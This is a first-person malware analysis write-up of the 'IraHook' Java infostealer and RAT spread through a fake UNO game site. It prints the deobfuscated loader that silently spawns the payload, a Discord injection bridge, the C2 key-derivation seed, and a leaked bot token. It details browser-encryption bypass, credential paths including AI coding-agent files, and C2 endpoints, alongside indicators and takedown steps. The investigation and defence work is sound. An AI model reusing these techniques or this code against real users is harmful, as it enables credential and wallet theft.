UNOPLAYTOGETHER.COM - IRAHOOK v57
0. Before We Start
I'm going to be straight with you: I'm not a professional malware analyst. I'm a self-taught guy with a decent PC, too much free time, and a personal grudge against people who ship infostealers to teenagers through fake UNO games. Everything below was done with public data, a disassembler, a Python script that refuses to die, and an unreasonable amount of coffee.
This is Part 2. If you haven't read Part 1 (unoplay.me / HADES), the short version is: a Turkish operator going by türkay built a fake multiplayer UNO site, got victims to download an Electron "game", and stole Discord tokens, browser passwords and crypto wallets. I published that, the site went away, and I assumed that was that.
It was not that. On November 6, 2026, a new domain appeared: unoplaytogether.com. Different domain, different payload, different C2 architecture. Same guy. And this time he made it so much easier for me.
So let's go through it properly: the lure, the 156 MB installer, the Java payload that actively fights you, the blockchain command-and-control, the exfiltration, the attribution, and the money trail. All the artifacts and scripts are in the repo if you want to check my homework.
1. The Lure Site: Same Trick, Worse Hosting
The new site is a competent-looking clone of the old one. Same lobby, same fake players, same "host started the game, continue in the app" prompt. What changed is that the operator stopped hiding the infrastructure.
- Domain:
unoplaytogether.com - Registered:
2026-11-06T01:49:34Zthrough Gransy (regtons.com), DNS at Dynadot. - A record:
163.5.53.180— unproxied, straight to a Windows Server in Bursa, Turkey. - ASN:
AS15924 Vodafone Net Iletisim Hizmetler AS(Borusan Telekom). - Web server: Microsoft IIS 10.0 with PHP 8.5.12.
- Payload URL:
https://unoplaytogether.com/download.php
Part 1 was behind Cloudflare. This one is a bare IIS box with a PHP download script, which is how I got the server's OS, PHP version, and the file modification timestamps without doing anything clever. There's also a fake telemetry endpoint, /api.php?action=stats, which returns a hardcoded JSON blob claiming 1820 downloads and a 4.9 rating, because nothing says "trustworthy game" like an API invented for the landing page.
The lobby still runs on the same Supabase project
I mirrored the site (site_mirror/ in the repo) and looked at the JavaScript. The lobby is not PHP. It's Supabase, and it is the exact same project used in Part 1:
- Project:
ciwouftlzjkrjetowmml - REST URL:
https://ciwouftlzjkrjetowmml.supabase.co - Public key:
sb_publishable_mMZBFwu_GpwsAUPfqt3hTw_dbKkKLpz
Row Level Security is still not doing what it should, so I could pull the lobby tables unauthenticated. The dump in the repo (supabase_evidence_dump.json) contains rooms, members and messages going right up to November 13. The full history still has the operator's test rooms from October 8 under the host name "Türkay", plus a fresh Turkish test room called "Deneme Odasi" ("test room") created on November 12. He reused the backend from Part 1, and he reused his own name in it. Again.
One important note for anyone reading the dump: the REST API caps responses at 100 rows per table, so that file is a slice, not the entire database. The older Part 1 dump covers the earlier rooms.
2. Inside the Installer: 156 MB and Almost No Game
The download is UnoPlayTogether Setup.exe. It is genuinely enormous, which is the point: a big installer feels like a real game, and 156 MB of Electron plus a bundled Java runtime is a great way to hide a 36 MB payload.
- Size: 155,994,994 bytes (~148.8 MiB)
- MD5:
067487bdc5301fc6da0d68e5eb45828e - SHA-1:
3cbf8cb03a5e2f28904124cb3774927c04ca4c8b - SHA-256:
39ab1bea0a386bf1a9bbe490171feb10ca97cc3c30a1add38fa526b97b126cb3 - Packer: NSIS, with the real app inside
$PLUGINSDIR/app-64.7z. - Runtime: Electron 41.2.0, x64.
Extract the NSIS archive and you get the usual Electron layout. Then you look inside resources/app.asar and it is 8,936 bytes. Part 1 at least pretended to be a game. This one doesn't even try. The entire archive is two files: a stripped package.json and an obfuscated index.js of roughly 4.5 KB.
Deobfuscating that loader (clean version in decompiled_malware/electron_loader_deobfuscated.js) gives you the whole story in a dozen lines:
const { spawn } = require('child_process');
const path = require('path');
const { app } = require('electron');
app.whenReady().then(() => {
const java = path.join(process.resourcesPath, 'java', 'jre', 'bin', 'javaw.exe');
const jar = path.join(process.resourcesPath, 'java', 'bdfe4852121d.jar');
spawn(java, [
'-XX:+UseG1GC', '-Xms64m', '-Xmx256m',
'--enable-native-access=ALL-UNNAMED',
'-cp', jar, 'V', 'ira-309e9aac'
], { detached: true, stdio: 'ignore', windowsHide: true }).unref();
app.exit(0); // window closes instantly, victim sees "game crashed"
});
That's it. The Electron window opens, spawns javaw.exe with a bundled OpenJDK 25.0.2, passes the campaign key ira-309e9aac, and kills itself. The victim sees a flash and nothing else. If they complain, the "game" is broken. Meanwhile the Java process is doing everything below.
The payload is resources/java/bdfe4852121d.jar:
- Size: 35,993,108 bytes
- MD5:
9393063f58ba1c120db5541d473da512 - SHA-1:
3669a14054b115cc8acb0e7818779ca6edaf69c6 - SHA-256:
a61dbd5ce5d71ab5258ac85b9623753967cc4dc6b2d541fcfc81bfd3a1e345ff
Internally it calls itself IraHook, version 2026-12-27-V57, Java package ewa_baba.IIiIllIiIl.iIiIlIliIl.lliIliliIl.IiiIlliiIl.iiiIlIIIll. "ewa baba" is Turkish slang roughly meaning "boss". Yes, the malware has a nickname.
3. The JAR Fights Back: 252 Classes and an NTFS Trap
This is the part where I nearly gave up, so I'm going to explain it properly, because it's genuinely clever for something written by a guy who left his own name in the database.
3.1 Class names are a filesystem attack
The jar contains 252 .class entries, all inside the same package, and every name is built from the characters I, i and l. So you get classes like Ililllililil, IlIillIiilIi, ilIIllIlIlIi, and so on, names that are deliberately indistinguishable when you're skimming.
On Windows, NTFS is case-insensitive. Unzip the jar normally and 109 classes overwrite each other, silently destroying a big chunk of the program, including the ENS resolver, which is entry #116 and happens to collide with another entry. If you decompile what's left on disk, you get broken code and conclude the sample is packed. The fix is to never extract it: read every entry directly from the zip in memory. That's what my tooling does (tools/jvm_string_decryptor.py), and it's also why the repo ships a small jar_extracted/ tree that is not enough to rebuild the sample.
3.2 107 separate string-encryption tables
Each of the 107 obfuscated classes has its own string table, decrypted in <clinit> with a different parameter set:
- Key:
PBKDF2WithHmacSHA1over a per-class password built from bytecode arithmetic, with a 16-byte salt and a per-class iteration count. - Cipher:
AES/CBC/PKCS5Padding. The first 16 bytes of the Base64 blob are the IV. - Plaintext layout: a packed sequence of UTF-16 strings, each prefixed with a 32-bit length built from two Java
charunits.
You cannot just run strings on the jar. You have to execute the bytecode that builds the parameters. That's why I wrote a small JVM stack emulator in Python: it executes only the constructor frames, intercepts PBEKeySpec, and hands the real parameters to Java's own crypto via BatchDecrypt.java. It supports wide local-variable indices up to 65535, because of course one class uses index 40000.
Result: all 107 classes recovered, 8,670 of 8,670 strings decrypted (100%). The full corpus is in decompiled_malware/all_decrypted_strings.json, and the per-class crypto parameters are in crypto_params.tsv. That file is also how I found the ENS seed later.
3.3 Everything is an invokedynamic
Every API call goes through a custom InvokeDynamic bootstrap whose target is an XOR-encrypted descriptor string of the form <owner>\0<name>\0<descriptor>\0<isStatic>, decrypted at runtime using the hash codes of MethodHandles$Lookup and BootstrapMethods. Without the string tables you can't read the code; with them, the decompiled output is surprisingly readable. You can see the reconstructed entry point in decompiled_malware/V_simplified.java and the ENS resolver in ENS_C2_Resolver_Reconstructed.java.
None of this is nation-state stuff. It's a commercial obfuscator's bag of tricks, applied with enthusiasm. But it is enough to stop casual triage, and that's all it's for.
4. What IraHook Actually Does
Once the strings are out, the module map is easy to rebuild. I'm not going to pretend I traced every native call; a lot of this is from the decrypted strings, the reconstructed classes, and dynamic observation in a throwaway VM. The full breakdown is in IRAHOOK_DECOMPILED_ARCHITECTURE_AND_C2_PROTOCOL_SPEC.txt. Here's the useful version.
A. Chromium App-Bound Encryption bypass
Modern Chrome (v20 App-Bound Encryption) is specifically designed so that a random process can't just DPAPI-decrypt the cookie and login database. IraHook deals with it the way the commercial stealers do: it drops abe_decrypt.dll to %TEMP%, launches the target browser headless with --headless=new --no-sandbox, allocates memory in it, writes the DLL path, and calls CreateRemoteThread + LoadLibraryA. The injected DLL does the decryption from inside the browser's own process and writes the keys to %TEMP%\abe_decrypted.txt. The stealer reads that file and decrypts Cookies, Login Data, Web Data (autofill and cards) and history.
It covers 35+ Chromium browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, Yandex, Arc, Comet, Thorium, Mercury, CentBrowser) and the usual Gecko family (Firefox, Waterfox, LibreWolf, Pale Moon, Floorp, Zen, Tor Browser). There's also a live Chrome DevTools Protocol path that calls Network.getAllCookies over the debugging WebSocket, which is faster and gets session cookies the disk method might miss.
B. Discord: tokens, and a permanent backdoor in the client
The token stealer is standard but thorough: it walks LevelDB (*.ldb, *.log) for Stable, PTB, Canary, Development, Lightcord, Vesktop, Vencord, BetterDiscord, ArmCord and LegCord, decrypts the dQw4w9WgXcQ: values with DPAPI plus AES-256-GCM, then calls /users/@me, /billing/payment-sources, /billing/subscriptions, /users/@me/guilds and /users/@me/relationships to profile Nitro, boosts, payment methods, rare badges and owned servers.
The nasty part is IliIlIlIIlI. It modifies Discord's app.asar (keeping an app.asar.bak so the client keeps working), injects a preload hook, and fetches a second-stage JavaScript payload from https://ewababa.sbs/d/a. That hook then sits on the CDP event stream and watches for users/@me, auth/login, mfa/totp, password changes and billing requests, exfiltrating the plaintext password, email and new token in real time.
And here's where the Turkish leaks out. The bridge it exposes to the page is literally:
contextBridge.exposeInMainWorld('inanmayin_boyle_arap_masallarina', {
cdp: () => ipcRenderer.invoke('cdp-port')
});
"İnanmayın böyle Arap masallarına" is a Turkish idiom: "don't believe such Arab fairy tales." That is not something you copy from a public stealer repo. That's a developer's personality leaking into the code.
C. Wallets: browser extensions and desktop vaults
40+ extension wallets are harvested by ID (MetaMask, Phantom, Rabby, Trust, Coinbase, Ronin, Keplr, OKX, Tonkeeper, Unisat, Backpack, Leather, Xverse, Sui, Martian, Petra...), plus desktop wallets: Exodus, Electrum, Atomic, Feather, Coinomi, Guarda, Wasabi, Ledger Live, Trezor Suite, Bitcoin Core, Litecoin, Dogecoin, Monero.
The interesting one is llIlllIIlIl. It unpacks Exodus and Atomic Wallet's app.asar, patches the unlock routines, and waits. When the user types their wallet password, it captures the plaintext password and the BIP-39 seed phrase, then sends both to https://ewababa.sbs/d/a and the campaign Discord webhook. It doesn't need to crack anything. It just needs the user to open their wallet once.
D. AI and developer credentials
This is the 2026 part. There's a whole module (llIliIlIlII) that goes after AI coding agents and dev tooling: Claude Code (~/.claude/.credentials.json, ~/.claude.json), Cursor (storage.json, state.vscdb), Windsurf, Cline, Roo Code, Continue, Aider, OpenAI Codex (~/.codex/auth.json), Gemini CLI and gcloud credentials. It also grabs SSH keys, ~/.aws/credentials, Docker config, kubeconfig, .npmrc, .pypirc, .git-credentials and any .env it can find.
The regex list is basically a shopping list of the modern internet: sk-ant-, sk-proj-, sk-or-v1-, gsk_, AIzaSy, ghp_, github_pat_, glpat-, xoxb-, AKIA, npm_, pypi-. If you're a developer and you ran this on your work machine, assume every one of those is gone.
E. Games, chat, VPNs and password managers
The usual long tail: Steam (ssfn*, config.vdf, loginusers.vdf), Epic, Riot, Ubisoft, Battle.net, EA, Minecraft launchers (Feather, Lunar, Badlion, Prism, MultiMC, TLauncher, CurseForge, Modrinth), Roblox .ROBLOSECURITY, Growtopia save.dat. Telegram tdata, Signal, Tox, Pidgin, Element, Skype, Teams, Slack, Thunderbird. 1Password, Bitwarden, KeePass .kdbx, LastPass, Dashlane, NordPass, RoboForm, Enpass. ProtonVPN, OpenVPN, NordVPN, Mullvad, WireGuard, WinSCP, FileZilla, Ngrok, AnyDesk, TeamViewer, PuTTY sessions, and cleartext Wi-Fi passwords via netsh wlan show profile key=clear.
There's no sophistication here, just coverage. Somebody sat down and wrote a checklist of every credential store on Windows, then worked through it.
F. The RAT, HVNC and the "fun" commands
After exfiltration, the client enters an infinite WebSocket loop against wss://ewababa.sbs/ws and registers with a packet like {"type":"register","botId":"<HWID>","key":"ira-309e9aac"}. It then accepts 50+ commands. The ones that matter:
shell— interactive PowerShell/cmd PTY.hvnc_start— creates a hidden Windows desktop withCreateDesktopA("IRA_HVNC_..."), launches cloned Chrome/Edge/Firefox/Explorer/PowerShell on it, encodes the hidden screen with OpenH264 and streams H.264 frames to the operator's panel. The victim sees nothing.screen_start,cam_start,audio_start— live screen, webcam (DirectShow) and microphone/loopback (WASAPI) streaming, with remote mouse and keyboard control.files_*,proc_*,keylog_*— file manager, task manager and a low-level keyboard hook.clipper_*— watches the clipboard and swaps BTC, ETH, SOL, TRX, LTC, TON and XRP addresses.uac_bypass— silent elevation throughfodhelper.exe/computerdefaults.exe.defender_exclude— addsC:\and%LOCALAPPDATA%to Defender exclusions.spread_usb— drops hidden.lnkfiles on removable drives.
And then there are the fun_* commands, which tell you exactly who this is for. fun_bsod raises a real blue screen via RtlAdjustPrivilege(19) + NtRaiseHardError(0xC0000420). fun_Lock_input freezes the keyboard and mouse. fun_chat_open opens an always-on-top "Hacker / Victim" chat window. fun_tts makes the computer talk. fun_wallpaper, fun_jump_scare, fun_matrix, fun_screen_invert, fun_screen_melt, fun_monitor_off. This is a toy for humiliating people, sold as a "hook".
G. Persistence and anti-analysis
Persistence is disguised as Microsoft Edge:
- Copies the whole JRE and the jar into
%LOCALAPPDATA%\Microsoft\Edge WebCache\, renaming the jar toEdgeWebCache.datand setting+h +s. - Writes
launch.vbsthat runsjavaw.exe ... -cp EdgeWebCache.dat V ira-309e9aac. - Registers
HKCU\...\Run\EdgeWebCacheand a scheduled task calledMicrosoftEdgeUpdateTaskMachineWC(on logon, highest privileges). - Timestomps the directory and files using the timestamps of
C:\Windows\System32\ntdll.dll.
Anti-analysis is a checklist too: uptime under 20 minutes, under 2 GB RAM, low core count, 800x600 screen, Win32_ComputerSystem/BIOS/BaseBoard strings, MAC OUI prefixes for VMware/VirtualBox/Hyper-V/Xen, empty Recent folder, no browser history, sandbox usernames (WDAGUtilityAccount, HAL9TH, Bruno, Abby, john-pc) and analysis DLLs (sbiedll.dll, dbghelp.dll, api_log.dll, dir_watch.dll, vmcheck.dll). If it thinks it's in a sandbox and there's no file called allowvm next to it, it exits.
Single-instance enforcement is a ServerSocket on 127.0.0.1:43987, which doubles as a decent detection artifact.
5. The C2 Lives on Ethereum
Here's the idea that made this sample interesting enough to write about. Instead of hardcoding a domain, IraHook resolves its C2 through the Ethereum Name Service. The domain is el.turko.eth, namehash 0x586f498af8a0c8706396613b8867f92dfb07f5c7cd1bbe372cc5c4aa2a2ccd92, a subnode of turko.eth.
On startup, Ililllililil.class queries ENS text records through https://eth.drpc.org and https://ethereum-rpc.publicnode.com using eth_call against the public resolver. Each record is Base64 ciphertext, decrypted with AES-256-GCM. The key material comes from a 32-byte master seed embedded in the class:
master_seed = ce93d02ae6136061eaf9dada7fd2a8c977cf4531719b280b63277267f99ddc79
record_key = SHA256(master_seed || (identifier.toLowerCase() + ':irahook-v1'))
lookup_key = HEX(SHA256(master_seed || (identifier.toLowerCase() + ':ens-key')))
That's it. No domain to seize, no IP to null-route, no Cloudflare Worker to report. To move the C2, the operator sends an Ethereum transaction. To kill the C2, you'd have to kill ENS, which is not happening.
It is genuinely a good design. It is also, and this is the funny part, permanent and public. Every record he ever set is still on-chain, and the key that encrypts the live records also encrypts the historical ones, because he reused the same seed. Once I had the seed, I had his entire C2 changelog.
What the records decrypt to
| ENS key | Decrypted value | Role |
|---|---|---|
ewa | ewababa.sbs (143.246.213.74) | Master C2: wss://ewababa.sbs/ws, /u upload, /d/a JS injection |
584b54e2... (ira-309e9aac) | https://ptb.discord.com/api/webhooks/1570914110072426668/... | Campaign exfiltration webhook ("evet21elim") |
windowskernel | https://discord.com/api/webhooks/1548809420358549526/... | Master developer webhook (now 404) |
tm | 8377690969:AAGCwYiopCz4KodBTYZSW9Rmkb6kszXV7y4|7667295419 | Telegram bot token + operator user ID |
The C2 box itself, ewababa.sbs, is hosted at 143.246.213.74 (AS48753 AVA HOST SRL / Alexhost, Chișinău, Moldova). It sits behind Caddy and, if you request it without the right path, returns an HTTP 530 page pretending to be a Cloudflare Argo Tunnel error. It sets a tracking cookie ira_cf=<hex>|<City> and a CSP that leaks its dashboard: connect-src 'self' wss: ws: blob:; img-src ... basemaps.cartocdn.com .... The panel has a map. Of course it has a map.
6. Exfiltration: ZIPs, Webhooks and a Bot
When the stealer finishes, it packages everything into <username>-<random>.zip and uploads it to https://ewababa.sbs/u with an X-K header equal to the campaign key. If that fails, it falls back to GoFile, Catbox, Litterbox, Pixeldrain and tmpfiles.org. That fallback list is worth noting: blocking only ewababa.sbs does not stop exfiltration.
It also posts a rich Discord embed to the campaign webhook and the master webhook. The footer is branded:
IraHook | 2026-12-27-V57 | @irahook
The embed includes victim IP and GeoIP country flag, CPU/RAM/GPU, stolen Discord tokens with Nitro and billing badges, counts of passwords and cookies, crypto wallets, and the download link. It is a customer-facing dashboard delivered by webhook.
The webhook rotation is a timeline of the campaign
Because every campaign key is also an ENS record, I could walk the history for ira-309e9aac. There are 11 on-chain records, from 2026-10-21T14:01:59Z to 2026-11-13T21:32:23Z. Each one is a different Discord webhook, rotated every few days, presumably after Discord or a victim reported the previous one.
1570914110072426668— set2026-11-13T21:32:23Z, nameevet21elim, guild1570913753812172962. Live at time of writing.- Ten earlier webhooks, starting with
1562465119399710761on2026-10-21. - Master developer webhook
1548809420358549526, created2026-09-13, now dead.
There is a second live guild from an earlier wave: webhook 1555458712666251384 ("Captain Hook"), channel 1555458692730589237, guild 1555458692227268750. Both guilds and the webhook IDs are in the repo and in the Discord Trust & Safety report. I did not send anything to them; I only checked whether they still return 200.
Telegram is the backup channel: bot 8377690969, operator user ID 7667295419. That numeric ID is the useful part. Telegram usernames change; user IDs don't. Part 1 gave us 8690153935. Same operator, second ID.
7. Attribution: Same Guy, Worse OPSEC
I don't like claiming attribution from vibes, so here's the actual evidence, in order of how much I'd bet on it.
7.1 The same Supabase project and the same public key
Part 1's lobby used ciwouftlzjkrjetowmml.supabase.co. Part 2's lobby uses ciwouftlzjkrjetowmml.supabase.co. Not a similar name. The same project, the same publishable key, the same tables. The Part 1 test rooms are still in it. There is no innocent explanation for that.
7.2 The campaign key predates the domain
The installer passes ira-309e9aac to the payload. The first on-chain record for that exact campaign key is 2026-10-21T14:01:59Z. unoplaytogether.com was registered 2026-11-06T01:49:34Z. The key was in use more than two weeks before the domain existed, which means the same infrastructure was running during the Part 1 window. The domain is new; the operation isn't.
7.3 Turkish, everywhere
- ENS names:
turko.eth,el.turko.eth("el" = hand, "turko" = the operator). - Java package
ewa_baba("boss"). - Webhook name
evet21elim("evet, 21 elim"). - Discord bridge
inanmayin_boyle_arap_masallarina. - Supabase rooms hosted by
"Türkay", and a"Deneme Odasi"test room. - Historical C2 domains:
ataturk.sbs,kiyamet.lol,ahmetaga.lol,gelmedi.lol,erdogan.lol,orospucocu.sbs,3131.lol,31as the parentewavalue.
At some point "the malware is in Turkish" stops being a hint and becomes a signature.
7.4 Bursa, again
The lure server is in Bursa. The domain kittiesmc.com, which was set as the master ewa C2 on el.turko.eth in September, is registered through Turkticaret.net Yazılım Hizmetleri Sanayi ve Ticaret A.Ş., a Turkish registrar headquartered in Bursa (+90 224 224 8640, [email protected], IANA ID 819). Domestic registrar, Turkish law, verified customer records. That's a subpoena with an address attached.
7.5 Four GitHub accounts
Under the bundle key on el.turko.eth there are stage-2 payload URLs pointing at four accounts:
github.com/irahook— numeric user ID295422044, created2026-06-20T17:46:45Z.github.com/dimdikoldu— hostedewa.alp,31.zip,haha.zip.github.com/babalardanparagelir— hostedhaha.zipin a release taggedtest.github.com/12312d12e1— hostedbundle.zipandzip.zipin a release taggedmichael.
Those account dates line up with the rest of the timeline: irahook was created three days after the Part 1 domain hellodcuser.com and three days before the Telegram channel @ewahook. This is one person spinning up identities in a batch.
8. Follow the Money
This is the part I find genuinely wild. The ENS design requires a wallet to send setText transactions, which means the C2 operator has a permanent, public financial identity. I pulled all 2,363 transactions for the controller wallet 0x8B6155c4fd0B10507EE9659099F74A25Be55e7b0 back to its genesis on 2026-08-29T16:19:59Z.
- Controller:
0x8B6155c4fd0B10507EE9659099F74A25Be55e7b0— 2,363 txs, updatesel.turko.ethfor 167+ customer/campaign keys. That number matters: this isn't just his own malware, it's infrastructure other buyers point their builds at. - Treasury:
0xDDcEdC86c46Db60A495B9F14F86Be4A38729146D— funded the controller in 8 direct ETH transfers between2026-09-29and2026-11-05.
The best timestamp in the whole investigation: on 2026-10-19T21:10:47Z the treasury sent a USDT payment (tx 0x492f6b64ec747789ee64a4e4836c86a0ee38a76cf293535089c20452dc0fd53d). Forty-six seconds later, at 2026-10-19T21:11:33Z, ewababa.sbs was registered at NiceNIC. He paid for the domain, then registered it, from the same wallet, in under a minute.
And because he cashed out through regulated exchanges, the treasury wallet has direct KYC withdrawals:
| Exchange | Timestamp (UTC) | Amount | Transaction |
|---|---|---|---|
| Binance (hot wallet 15) | 2026-10-28T22:27:59Z | 75.00 USDT | 0x63afe0abdb6b387f6e691dc876134c6a1244b46d34467f6cdcdda34c23722df8 |
| Binance (hot wallet 15) | 2026-10-28T23:04:23Z | 20.00 USDT | 0xfe1f3fd9f4e5f6ce644aea4683ce145f7af7f5787ea452a4fd96547be0533867 |
| Binance (hot wallet 19) | 2026-10-23T15:16:11Z | 67.91 USDT | 0x7e125523ff6f067780d46612e6bbc7742b5b34be9804cf32709013cfd824acd7 |
| Crypto.com | 2026-11-04T19:52:59Z | 0.025534 ETH | 0x531b99e26bbd6554f24459487418c32b586ee020b52693b7401ca9c2dec72796 |
Those are not anonymous. Binance and Crypto.com know exactly who withdrew to that address: government ID, card, phone, login IP. The subpoena guide in reports/05_... lists the exact transactions. I only read public chain data; I didn't touch the accounts.
The 48-second follow-up is almost poetic: Crypto.com sends 0.025534 ETH at 19:52:59Z, and at 19:53:47Z the treasury forwards 0.015641 ETH to the ENS controller so it can pay gas for the next C2 update. The whole criminal business runs on top-up gas money.
9. The Graveyard of C2 Domains
Every historical ewa and com.irahook.endpoint record decrypts, because the seed never changed. Twenty domains, August to November:
| Set (UTC) | Domain | Notes |
|---|---|---|
| 2026-10-28 | ewababa.sbs | Active master C2 — 143.246.213.74, AVA HOST, Moldova |
| 2026-10-13 | ataturk.sbs | Still resolves to 143.246.213.74 |
| 2026-10-05 / 10-13 | zibidik.sbs | Turkish slang |
| 2026-09-29 | bomboclat.sbs | — |
| 2026-09-25 | orospucocu.sbs | Turkish profanity; still live on 45.91.52.45 (AS213220) |
| 2026-09-24 | kittiesmc.com | Fake Minecraft lure; Turkticaret.net, Bursa |
| 2026-09-23 | helelele.lol | — |
| 2026-09-22 | kabab.lol | — |
| 2026-09-21 | lastabuse.lol | — |
| 2026-09-20 | keke.lol | — |
| 2026-09-20 | kiyamet.lol | "apocalypse" |
| 2026-09-19 | ahmetaga.lol | "Ahmet Ağa" |
| 2026-09-19 | 3131.lol | Turkish slang |
| 2026-09-18 | wuhhuu.lol | — |
| 2026-09-17 | 7dak.lol | — |
| 2026-09-16 | dumbaero.lol | Handle dumbaero |
| 2026-09-16 | 3169.lol | — |
| 2026-09-11 / 09-13 | zbabuvj.lol | Matches GitHub repo dimdikoldu/zbabuvj |
| 2026-08-30 | gelmedi.lol | "it didn't come" |
| 2026-08-30 | erdogan.lol | — |
The earlier C2s use .lol, then he moves to .sbs, then to a .com registered at a Turkish registrar in his own city. That last one is the mistake that makes the whole attribution easy.
10. What I Actually Did About It
I'm not law enforcement, so the useful output is paperwork and indicators. The repo contains five ready-to-send reports:
- 01 — Vodafone Net TR (AS15924) and USOM / TR-CERT, bilingual, for the Bursa lure server
163.5.53.180. - 02 — AVA HOST (AS48753) and NiceNIC, for
ewababa.sbsand143.246.213.74. - 03 — Dynadot and Gransy, for
unoplaytogether.com. - 04 — Discord Trust & Safety, for the live guilds and all 11 webhook IDs.
- 05 — Supabase project takedown plus the Binance / Crypto.com KYC subpoena guide for the four withdrawals above.
There's also block_malware_network.bat, a Windows script that blocks 163.5.53.180 and 143.246.213.74 in the firewall, sinkholes both domains in hosts, and checks for the Edge WebCache persistence, the scheduled task, the mutex port and the Discord/Exodus app.asar.bak tampering. It is intentionally boring and does not delete anything.
If you think you ran this: disconnect the machine, don't log into anything from it, rotate passwords from a different device (start with email, Discord, Steam, and anything crypto), move wallet funds to a new seed generated offline, and reinstall. The Discord injection survives a password change until you remove the patched app.asar, so a fresh Discord install matters. Assume every token in your browser profile is gone.
11. Indicators
Network
| Indicator | Type | Context |
|---|---|---|
unoplaytogether.com | Domain | Lure site, /download.php serves the installer |
163.5.53.180 | IPv4 | AS15924 Vodafone Net TR, Bursa — IIS 10.0 / PHP 8.5.12 |
ewababa.sbs | Domain | Master C2 — wss://ewababa.sbs/ws, /u, /d/a |
143.246.213.74 | IPv4 | AS48753 AVA HOST SRL, Chișinău, Moldova |
ataturk.sbs, orospucocu.sbs | Domains | Historical C2, still resolving at time of writing |
ciwouftlzjkrjetowmml.supabase.co | URL | Shared lobby backend (same as Part 1) |
el.turko.eth | ENS | 0x586f498af8a0c8706396613b8867f92dfb07f5c7cd1bbe372cc5c4aa2a2ccd92 |
turko.eth | ENS | 0x20b963477ed8da6521fecac42dc4ede92eec090917c58f1b9207284a4ac1da65 |
0x8B6155c4fd0B10507EE9659099F74A25Be55e7b0 | Wallet | ENS controller (2,363 txs, 167+ campaign keys) |
0xDDcEdC86c46Db60A495B9F14F86Be4A38729146D | Wallet | Treasury / funding wallet |
1570914110072426668 | Discord webhook | Live campaign webhook, guild 1570913753812172962 |
1548809420358549526 | Discord webhook | Master developer webhook (dead) |
8377690969 | Telegram bot | Operator chat ID 7667295419 |
@ewahook, @irahook | Telegram | Channel and brand handle |
github.com/irahook | GitHub | User ID 295422044; also dimdikoldu, babalardanparagelir, 12312d12e1 |
Host
%LOCALAPPDATA%\Microsoft\Edge WebCache\EdgeWebCache.dat%LOCALAPPDATA%\Microsoft\Edge WebCache\launch.vbs%LOCALAPPDATA%\Microsoft\Edge WebCache\jre\bin\javaw.exeHKCU\Software\Microsoft\Windows\CurrentVersion\Run→EdgeWebCache- Scheduled task
MicrosoftEdgeUpdateTaskMachineWC - Mutex / single-instance port
127.0.0.1:43987 %TEMP%\abe_decrypt_*.dll,%TEMP%\abe_decrypted.txt%LOCALAPPDATA%\Discord\app-*\resources\app.asar.bakwindow.inanmayin_boyle_arap_masallarina.cdp()in the Discord preload
Hashes
UnoPlayTogether Setup.exe— SHA-25639ab1bea0a386bf1a9bbe490171feb10ca97cc3c30a1add38fa526b97b126cb3resources/java/bdfe4852121d.jar— SHA-256a61dbd5ce5d71ab5258ac85b9623753967cc4dc6b2d541fcfc81bfd3a1e345ff- Decompiled loader
resources/app.asar/index.js— SHA-256 in repo
12. What I Learned (and Why I Wrote This Down)
I'm not going to pretend this is a masterclass in threat intelligence. It's one guy on the internet reading a lot of code. But a few things stuck with me.
Obfuscation is not OPSEC. This sample has 252 classes designed to destroy themselves on Windows, 107 independent AES string tables, invokedynamic callsite obfuscation, a bundled JRE, a fake Edge persistence path, timestomping, and a C2 that lives on Ethereum. It also has the developer's own idiom in an exposed preload bridge, the same Supabase project as last time, and a domain registered 46 seconds after a USDT transfer from a KYC'd exchange. All the cleverness was spent in the wrong place.
Blockchain C2 is a trade, not a win. You gain takedown resistance and you lose the ability to ever change history. Every C2 domain, every webhook, every key rotation is permanent. The seed that decrypts today's records decrypts 2026's too. I did not break AES; I just read a public ledger with a key that was compiled into the malware.
Reuse kills. The Supabase project alone would be enough. The campaign key that predates the domain is enough. You don't need a global dragnet; you need one lazy decision, and there are usually five.
If you want to check any of this: the repo has the decrypted strings, the crypto parameters, the reconstructed ENS resolver, the site mirror, the Supabase dump, the wallet exports, the analysis scripts and the five takedown reports. Run the scripts yourself. That's the whole point of publishing it.
And if you're the guy in Bursa reading this: you left your name in the database again.